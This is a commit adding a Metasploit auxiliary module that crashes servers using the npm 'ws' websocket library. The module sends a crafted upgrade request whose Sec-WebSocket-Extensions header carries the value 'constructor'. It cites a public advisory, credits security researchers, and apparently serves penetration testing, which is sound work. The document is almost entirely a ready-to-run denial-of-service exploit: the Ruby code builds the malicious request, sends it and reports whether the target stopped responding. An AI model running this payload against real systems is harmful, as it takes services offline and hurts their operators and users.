Adding ws DoS module

This module verifies if ws is vulnerable
to DoS by sending a request to the server
containing a specific header value.
ws is a npm module which handles websockets.

modules/auxiliary/dos/http/ws_dos.rb

@@ -0,0 +1,72 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Dos
+
+  def initialize
+    super(
+      'Name'           => 'ws - Denial of Service',
+      'Description'    => %q{
+          This module exploits a Denial of Service vulnerability in npm module "ws".
+        By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.
+      },
+      'References'     =>
+        [
+          ['URL', 'https://nodesecurity.io/advisories/550'],
+          ['CWE', '400'],
+        ],
+      'Author'         =>
+        [
+          'Ryan Knell,  Sonatype Security Research',
+          'Nick Starke, Sonatype Security Research',
+        ],
+      'License'        =>  MSF_LICENSE
+    )
+
+    register_options([
+      Opt::RPORT(3000),
+      OptString.new('TARGETURI', [true, 'The base path', '/']),
+    ],)
+  end
+
+  def run
+    path = datastore['TARGETURI']
+
+    #Create HTTP request
+    req = [
+      "GET #{path} HTTP/1.1",
+      "Connection: Upgrade",
+      "Sec-WebSocket-Key: test",
+      "Sec-WebSocket-Version: 8",
+      "Sec-WebSocket-Extensions: constructor",  #Adding "constructor" as the value for this header causes the DoS
+      "Upgrade: websocket",
+      "\r\n"
+      ].join("\r\n");
+
+    begin
+      connect
+      print_status("Sending DoS packet to #{peer}")
+      sock.put(req)
+
+      data = sock.get_once(-1)  #Attempt to retrieve data from the socket
+
+      if data =~ /101/   #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
+        print_error("WebSocket Upgrade request Successful, service not vulnerable.")
+      else
+        fail_with(Failure::Unknown, "An unknown error occured")
+      end
+
+      disconnect
+      print_error("DoS packet unsuccessful")
+
+    rescue ::Rex::ConnectionRefused
+      print_error("Unable to connect to #{peer}")
+    rescue ::Errno::ECONNRESET, ::EOFError
+      print_good("DoS packet successful. #{peer} not responding.")
+    end
+  end
+end